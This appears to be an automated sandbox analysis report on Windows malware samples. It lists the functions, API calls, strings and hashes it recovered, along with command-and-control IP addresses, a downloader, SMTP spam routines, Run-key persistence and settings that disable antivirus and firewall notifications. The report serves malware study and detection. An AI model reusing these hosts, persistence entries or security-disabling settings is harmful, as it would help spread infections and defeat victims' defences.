fun.$https://bitpay.com/buy-bitcoin/?crypto=BTC$https://cex.io/buy-bitcoins$https://invity.io/buy-crypto$https://nexo.com/buy-crypto/bitcoin-btc$https://paybis.com/
API String ID: 1336957093-1075224888
Opcode ID: f693e9aad8c8987cbde2dd0505fd5e459a6c6c21abfd91df18f15850af5ea3c1
Instruction ID: 60083417c52918bb7be43fe4187682400ab5f2589ccbbb7b9ac812e9862f0ee2
Opcode Fuzzy Hash: f693e9aad8c8987cbde2dd0505fd5e459a6c6c21abfd91df18f15850af5ea3c1
Instruction Fuzzy Hash: 80F1B4B2D40218ABDB14DB94DC42FFE7339AF58305F088698F90C66181F7B59A988F75

Function 00D72430 Relevance: 59.7, APIs: 29, Strings: 5, Instructions: 178
sleepthreadfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00D7244B
srand.MSVCR90 ref: 00D72452
_wmemset.LIBCPMTD ref: 00D72468
_wmemset.LIBCPMTD ref: 00D7247E
_wmemset.LIBCPMTD ref: 00D72494
_wmemset.LIBCPMTD ref: 00D724AA
memset.MSVCR90 ref: 00D724BE

Part of subcall function 00D717D0: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00D717E3
Part of subcall function 00D717D0: InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 00D71807
Part of subcall function 00D717D0: InternetReadFile.WININET(00000000,?,00000063,?), ref: 00D71824
Part of subcall function 00D717D0: wsprintfA.USER32 ref: 00D71860
Part of subcall function 00D717D0: InternetCloseHandle.WININET(00000000), ref: 00D71882
Part of subcall function 00D717D0: InternetCloseHandle.WININET(?), ref: 00D718A1

strcpy.MSVCR90(00D77310,00000000), ref: 00D724D1
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00D724EA
mbstowcs.MSVCR90 ref: 00D72503
wsprintfW.USER32 ref: 00D7251E

Part of subcall function 00D718D0: memset.MSVCR90 ref: 00D718E2
Part of subcall function 00D718D0: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00D718F7
Part of subcall function 00D718D0: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00D7191A
Part of subcall function 00D718D0: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00D71949
Part of subcall function 00D718D0: InternetReadFile.WININET(00000000,00D76F10,000003FF,?), ref: 00D7196A
Part of subcall function 00D718D0: WriteFile.KERNEL32(000000FF,00D76F10,00000000,?,00000000), ref: 00D7198D
Part of subcall function 00D718D0: CloseHandle.KERNEL32(000000FF), ref: 00D71999
Part of subcall function 00D718D0: InternetCloseHandle.WININET(00000000), ref: 00D719BD
Part of subcall function 00D718D0: InternetCloseHandle.WININET(00000000), ref: 00D719C7

atoi.MSVCR90 ref: 00D7253B
Sleep.KERNEL32(000003E8), ref: 00D7255B
_wmemset.LIBCPMTD ref: 00D7256F
_wmemset.LIBCPMTD ref: 00D72583
rand.MSVCR90 ref: 00D7258B
wsprintfW.USER32 ref: 00D725AE
rand.MSVCR90 ref: 00D725B7
rand.MSVCR90 ref: 00D725CB
rand.MSVCR90 ref: 00D725DF
wsprintfW.USER32 ref: 00D72604

Part of subcall function 00D718D0: InternetReadFile.WININET(00000000,00D76F10,000003FF,?), ref: 00D719B3

PathFileExistsW.SHLWAPI(00D77508), ref: 00D72628
CreateThread.KERNEL32(00000000,00000000,Function_00002320,00000000,00000000,00000000), ref: 00D72668
rand.MSVCR90 ref: 00D7266E
Sleep.KERNEL32 ref: 00D7267F
DeleteFileW.KERNEL32(00D77508), ref: 00D7268C
atoi.MSVCR90 ref: 00D726A6
ExitProcess.KERNEL32 ref: 00D726BF
ExitThread.KERNEL32 ref: 00D726CC

Strings

%s\%d%d%d.jpg, xrefs: 00D725FA
%sn.txt, xrefs: 00D72512
%temp%, xrefs: 00D724E5
^Iu, xrefs: 00D72628
%s%d.txt, xrefs: 00D725A2

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: Internet$File$_wmemset$CloseHandlerand$Openwsprintf$Read$CreateExitSleepThreadatoimemset$CountDeleteEnvironmentExistsExpandPathProcessStringsTickWritembstowcssrandstrcpy
String ID: %s%d.txt$%s\%d%d%d.jpg$%sn.txt$%temp%$^Iu
API String ID: 3135460431-1377136663
Opcode ID: 19c459ad6bf287fcb317536939e963bcb7a626cd642cd9515c200bbfe5ca6fff
Instruction ID: 85f67ef8547ce4c7ed95e9122e4f29fadbf17b94c60d7819d7a76dfef529df2b
Opcode Fuzzy Hash: 19c459ad6bf287fcb317536939e963bcb7a626cd642cd9515c200bbfe5ca6fff
Instruction Fuzzy Hash: DA5172B5D80344ABE710BB609C4BFEA3329EB54705F048469F64DA52C2FEB55688CA72

Function 00D718D0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 00D718E2
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00D718F7
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00D7191A
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00D71949
InternetReadFile.WININET(00000000,00D76F10,000003FF,?), ref: 00D7196A
WriteFile.KERNEL32(000000FF,00D76F10,00000000,?,00000000), ref: 00D7198D
CloseHandle.KERNEL32(000000FF), ref: 00D71999
InternetReadFile.WININET(00000000,00D76F10,000003FF,?), ref: 00D719B3
InternetCloseHandle.WININET(00000000), ref: 00D719BD
InternetCloseHandle.WININET(00000000), ref: 00D719C7

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 00D718F2

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritememset
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
API String ID: 4022733741-2132150883
Opcode ID: c76abbe703dc41675ff05990482401da1997fe7efa432ffd52558fd9e2ea195f
Instruction ID: 3fb1abb827e196669b71af9b9e03d587e26537c6c0dc7963bf19173df685e14a
Opcode Fuzzy Hash: c76abbe703dc41675ff05990482401da1997fe7efa432ffd52558fd9e2ea195f
Instruction Fuzzy Hash: 57312174A40304FBDB14DB94DC5AFAEB774AB44700F648514F719AA2D0F7B09A44CB71

Function 00D71B2D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrA.SHLWAPI(?), ref: 00D71B34
wsprintfA.USER32 ref: 00D71B4F
wsprintfA.USER32 ref: 00D71B71
shutdown.WS2_32(000000FF,00000002), ref: 00D722C3
closesocket.WS2_32(000000FF), ref: 00D722CD

Strings

HELO %s, xrefs: 00D71B65
EHLO %s, xrefs: 00D71B43

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: wsprintf$closesocketshutdown
String ID: EHLO %s$HELO %s
API String ID: 4205972133-3160789797
Opcode ID: 10183935c51cebb398967900b579fa85ebe8760054c8d056db4345851e414546
Instruction ID: 52526c86ecdf6bd2acdac5311b72ac904f8d15b44b7873557a74cd06e0f551bc
Opcode Fuzzy Hash: 10183935c51cebb398967900b579fa85ebe8760054c8d056db4345851e414546
Instruction Fuzzy Hash: 0C214CB5D00318EFCB10DBA4DC49BAEB778BB44704F0486A9EA0DA2241F7749594CB78

Function 00D72320 Relevance: 12.1, APIs: 8, Instructions: 66
stringthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00D72329
srand.MSVCR90 ref: 00D72330
_wfopen.MSVCR90 ref: 00D72342
fgets.MSVCR90 ref: 00D7237A
rand.MSVCR90 ref: 00D72395
strcpy.MSVCR90(?,?), ref: 00D723CD
fclose.MSVCR90 ref: 00D723DE
ExitThread.KERNEL32 ref: 00D7241E

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: CountExitThreadTick_wfopenfclosefgetsrandsrandstrcpy
String ID:
API String ID: 3964472883-0
Opcode ID: 9011f00c698843e5b12c4dec29ee109088c7be816951b5b83033704e0af0e5a2
Instruction ID: 8ecbccad7d3cc7be2924fedd41fecc47d8b22742ec129ff63674645abff78e45
Opcode Fuzzy Hash: 9011f00c698843e5b12c4dec29ee109088c7be816951b5b83033704e0af0e5a2
Instruction Fuzzy Hash: 702166B5C8021C97DB20A760DD8ABE97238EB20305F4485E8E50D61241FB759BD8CFB2

Function 00D71BB6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00D71BC6
wsprintfA.USER32 ref: 00D71BE2

Part of subcall function 00D71120: lstrlenA.KERNEL32(?), ref: 00D7112D
Part of subcall function 00D71120: send.WS2_32(?,?,000000FF,00000000), ref: 00D71144

shutdown.WS2_32(000000FF,00000002), ref: 00D722C3
closesocket.WS2_32(000000FF), ref: 00D722CD

Strings

<%s>, xrefs: 00D71BBA
MAIL FROM: %s, xrefs: 00D71BD6

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: wsprintf$closesocketlstrlensendshutdown
String ID: <%s>$MAIL FROM: %s
API String ID: 1146405-791590210
Opcode ID: 821f4e20a40b2b2695b0b94a464f24d47344071677a257f852b6a741cd63fd5d
Instruction ID: 599651c4e86015a1fcad0917d908cc472cdba0bc818ab4c943da5b33cac0f976
Opcode Fuzzy Hash: 821f4e20a40b2b2695b0b94a464f24d47344071677a257f852b6a741cd63fd5d
Instruction Fuzzy Hash: 1C21DEB5D002189FCF11DB98DC49BEEB778BB44304F4481A9EA0DA6241F7749994CB75

Function 00D71320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00D7132A
srand.MSVCR90 ref: 00D71331
rand.MSVCR90 ref: 00D71353
sprintf.MSVCR90 ref: 00D7136E

Strings

%s%d, xrefs: 00D71365

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: CountTickrandsprintfsrand
String ID: %s%d
API String ID: 2526408171-1110647743
Opcode ID: 6df7dfcacbe68101792d455d9234c167510d19c3ae1a4f4368850c0771820b18
Instruction ID: 9e39401b78c96a1dcb2364fd8daa6dc04505b1af675db72470c937e466774638
Opcode Fuzzy Hash: 6df7dfcacbe68101792d455d9234c167510d19c3ae1a4f4368850c0771820b18
Instruction Fuzzy Hash: D5F014B4A04248EBDB05DB98C982B6D77A5EB95300F10C189F80D4B341E771AE009BB6

Function 00D719E0 Relevance: 7.6, APIs: 5, Instructions: 99
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D72300: strchr.MSVCR90 ref: 00D7230B

Part of subcall function 00D710A0: DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 00D710C4
Part of subcall function 00D710A0: htons.WS2_32(00000019), ref: 00D710F5
Part of subcall function 00D710A0: DnsFree.DNSAPI(00000000,00000001), ref: 00D7110F

socket.WS2_32(00000002,00000001,00000006), ref: 00D71A32
connect.WS2_32(000000FF,?,00000010), ref: 00D71A59
setsockopt.WS2_32(000000FF,00000006,00000001,00000001,00000004), ref: 00D71A83
shutdown.WS2_32(000000FF,00000002), ref: 00D722C3
closesocket.WS2_32(000000FF), ref: 00D722CD

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: FreeQuery_closesocketconnecthtonssetsockoptshutdownsocketstrchr
String ID:
API String ID: 3655475579-0
Opcode ID: 33d8b817bcb7d7874506a39d4fb17f995e8c891364af01ecf007c88d331e47b9
Instruction ID: 428fd21aba8d388f9aacd1addba147b5b230d9030fcba57a837e967e2858e543
Opcode Fuzzy Hash: 33d8b817bcb7d7874506a39d4fb17f995e8c891364af01ecf007c88d331e47b9
Instruction Fuzzy Hash: AE415D75D00318DFDB10DBA8DC49BEEB779BB04304F048298EA1DA6281F7749A85CFA5

Function 00D71C27 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D71C37

Part of subcall function 00D71120: lstrlenA.KERNEL32(?), ref: 00D7112D
Part of subcall function 00D71120: send.WS2_32(?,?,000000FF,00000000), ref: 00D71144

shutdown.WS2_32(000000FF,00000002), ref: 00D722C3
closesocket.WS2_32(000000FF), ref: 00D722CD

Strings

RCPT TO: <%s>, xrefs: 00D71C2B

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: closesocketlstrlensendshutdownwsprintf
String ID: RCPT TO: <%s>
API String ID: 1492768164-1854338671
Opcode ID: 8d371442a549b991445b0ac54fa12cb85b00a0bcd48e5e97c04d5ed91d2d1d68
Instruction ID: 6c2968a6c01e163972150b197c95a9d44258ac13a337ec2a6b48c84a72d65b68
Opcode Fuzzy Hash: 8d371442a549b991445b0ac54fa12cb85b00a0bcd48e5e97c04d5ed91d2d1d68
Instruction Fuzzy Hash: 1C11FEB5D00218DFCF10DB94DC49BAEB778BB48345F0482A9E90DA6241F7749994CF79

Function 00D711C0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

StrCmpNA.SHLWAPI(354,220,00000003), ref: 00D71208

Strings

354, xrefs: 00D711D4, 00D71207
250, xrefs: 00D711CD
220, xrefs: 00D711C6, 00D71203

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID:
String ID: 220$250$354
API String ID: 0-1679323658
Opcode ID: fe149fa031a68f0834c1c1338f95e360a3ab7b1a1abba1beeaf8d4e07452f581
Instruction ID: 37c3a6f82e73636d13ce4d962c0e9c9343704ee415dfd8d8bc72e85701efa223
Opcode Fuzzy Hash: fe149fa031a68f0834c1c1338f95e360a3ab7b1a1abba1beeaf8d4e07452f581
Instruction Fuzzy Hash: 4DF04974905309DBCF00EFD8DA497AEBBB4BB00304F608659D909AB340E3709B44DBB5

Function 00D71C7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00D71120: lstrlenA.KERNEL32(?), ref: 00D7112D
Part of subcall function 00D71120: send.WS2_32(?,?,000000FF,00000000), ref: 00D71144

shutdown.WS2_32(000000FF,00000002), ref: 00D722C3
closesocket.WS2_32(000000FF), ref: 00D722CD

Strings

DATA, xrefs: 00D71C7E

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: closesocketlstrlensendshutdown
String ID: DATA
API String ID: 317823648-550793329
Opcode ID: 969fd7ebd1d24c49d0e41b1066fd163fbf1f166c5c90aa3c4bd685bc9e17ac14
Instruction ID: a043ed6028e90e66bb3887c9dd5cfa0b99d2f087e3dc53cb5df90b174fc26dc6
Opcode Fuzzy Hash: 969fd7ebd1d24c49d0e41b1066fd163fbf1f166c5c90aa3c4bd685bc9e17ac14
Instruction Fuzzy Hash: FE014CB5D00318EFCF009BA4DC497AEB778BB04344F048259E909B6291F7788484CB35

Function 00D72292 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 00D71120: lstrlenA.KERNEL32(?), ref: 00D7112D
Part of subcall function 00D71120: send.WS2_32(?,?,000000FF,00000000), ref: 00D71144

shutdown.WS2_32(000000FF,00000002), ref: 00D722C3
closesocket.WS2_32(000000FF), ref: 00D722CD

Strings

QUIT, xrefs: 00D72294

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: closesocketlstrlensendshutdown
String ID: QUIT
API String ID: 317823648-1967077921
Opcode ID: f19bc1594a8eb87d9df464cc4b2bd119a4f61f71e52192565459f02000c8d23b
Instruction ID: 6eb4b539df615e71bb6a037c9a6569ad9bfd3fa0f7000651c782fb1589c5f059
Opcode Fuzzy Hash: f19bc1594a8eb87d9df464cc4b2bd119a4f61f71e52192565459f02000c8d23b
Instruction Fuzzy Hash: C001FF75D00318AFCF10DBA4DC49BADB778BB04355F048269E959B6281F7788585CB35

Analysis Process: 2711236308.exePID: 4936, Parent PID: 2060COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 003910A0 Relevance: 33.3, APIs: 10, Strings: 9, Instructions: 29
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 003910A8

Part of subcall function 00391000: ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 0039101A
Part of subcall function 00391000: wsprintfW.USER32 ref: 00391033
Part of subcall function 00391000: PathFileExistsW.KERNELBASE(?), ref: 00391043

DeleteUrlCacheEntry.WININET(http://185.215.113.66/1), ref: 003910BF
DeleteUrlCacheEntry.WININET(http://185.215.113.66/2), ref: 003910CA
DeleteUrlCacheEntry.WININET(http://185.215.113.66/3), ref: 003910D5
DeleteUrlCacheEntry.WININET(http://185.215.113.66/4), ref: 003910E0
DeleteUrlCacheEntry.WININET(http://185.215.113.66/5), ref: 003910EB
DeleteUrlCacheEntry.WININET(http://185.215.113.66/6), ref: 003910F6
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_1), ref: 00391101
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_2), ref: 0039110C
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_3), ref: 00391117

Strings

http://185.215.113.66/2, xrefs: 003910C5
http://185.215.113.66/5, xrefs: 003910E6
http://185.215.113.66/_3, xrefs: 00391112
http://185.215.113.66/4, xrefs: 003910DB
http://185.215.113.66/1, xrefs: 003910BA
http://185.215.113.66/3, xrefs: 003910D0
http://185.215.113.66/6, xrefs: 003910F1
http://185.215.113.66/_2, xrefs: 00391107
http://185.215.113.66/_1, xrefs: 003910FC

Memory Dump Source

Source File: 0000000D.00000002.1922496157.0000000000391000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00390000, based on PE: true

Associated: 0000000D.00000002.1922475948.0000000000390000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.1922526704.0000000000394000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_390000_2711236308.jbxd

Similarity

API ID: CacheDeleteEntry$EnvironmentExistsExpandFilePathSleepStringswsprintf
String ID: http://185.215.113.66/1$http://185.215.113.66/2$http://185.215.113.66/3$http://185.215.113.66/4$http://185.215.113.66/5$http://185.215.113.66/6$http://185.215.113.66/_1$http://185.215.113.66/_2$http://185.215.113.66/_3
API String ID: 1624407425-19798704
Opcode ID: 05370f1475e02d0ea9ffac473329103bfe7c57124054a9ccf712039674ac7d83
Instruction ID: 1042aadee2afd0ae0d37f72a0764f330d006b349a4d5d18a2a4ac178c6417c8f
Opcode Fuzzy Hash: 05370f1475e02d0ea9ffac473329103bfe7c57124054a9ccf712039674ac7d83
Instruction Fuzzy Hash: 84F05E75281F15FB8B0367E5AC4FDDB3A6CAB48B52F400112F24AD52D1CA974448DBF6

Function 00391000 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 0039101A
wsprintfW.USER32 ref: 00391033
PathFileExistsW.KERNELBASE(?), ref: 00391043
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000002,00000000), ref: 00391069
CloseHandle.KERNEL32(000000FF), ref: 00391085

Strings

@1Wu.Wu, xrefs: 00391069
^Iu, xrefs: 00391043
%userprofile%, xrefs: 00391015
%s\ssss3444443.jpg, xrefs: 00391027

Memory Dump Source

Source File: 0000000D.00000002.1922496157.0000000000391000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00390000, based on PE: true

Associated: 0000000D.00000002.1922475948.0000000000390000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.1922526704.0000000000394000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_390000_2711236308.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\ssss3444443.jpg$%userprofile%$@1Wu.Wu$^Iu
API String ID: 750032643-433313667
Opcode ID: 9dc2a1ce49239c667d9fa1f53f7c3a5d323799eb59411c69ab1708e2fbc6682e
Instruction ID: 575f0d43af3da0d61b79316b1e6cf10377f7751298d6b4f98fd67fe2ad20f3a7
Opcode Fuzzy Hash: 9dc2a1ce49239c667d9fa1f53f7c3a5d323799eb59411c69ab1708e2fbc6682e
Instruction Fuzzy Hash: 6B018FB0540708BBDB31DB609C4AFE7733CAB44704F0046A5B759A62D1DAB26AC8DBA5

Analysis Process: winploravr.exePID: 6368, Parent PID: 4084COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000F1840 Relevance: 143.9, APIs: 52, Strings: 30, Instructions: 399
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 000F1850
CreateMutexA.KERNELBASE(00000000,00000000,?), ref: 000F18E8
GetLastError.KERNEL32 ref: 000F18F4
ExitProcess.KERNEL32 ref: 000F1903
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 000F196D
PathFindFileNameW.SHLWAPI(?), ref: 000F197A
wsprintfW.USER32 ref: 000F1999
DeleteFileW.KERNEL32(?), ref: 000F19A9
wcscmp.MSVCR90 ref: 000F19C2
ExitProcess.KERNEL32 ref: 000F19E1

Strings

Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 000F1A58
http://91.202.233.141/, xrefs: 000F18AB
http://193.233.132.177/, xrefs: 000F18B5
UpdatesDisableNotify, xrefs: 000F1C74
FirewallOverride, xrefs: 000F1CC6
AntiVirusOverride, xrefs: 000F1D23
Windows Service, xrefs: 000F1894
AntiVirusDisableNotify, xrefs: 000F1C36
UpdatesDisableNotify, xrefs: 000F1D80
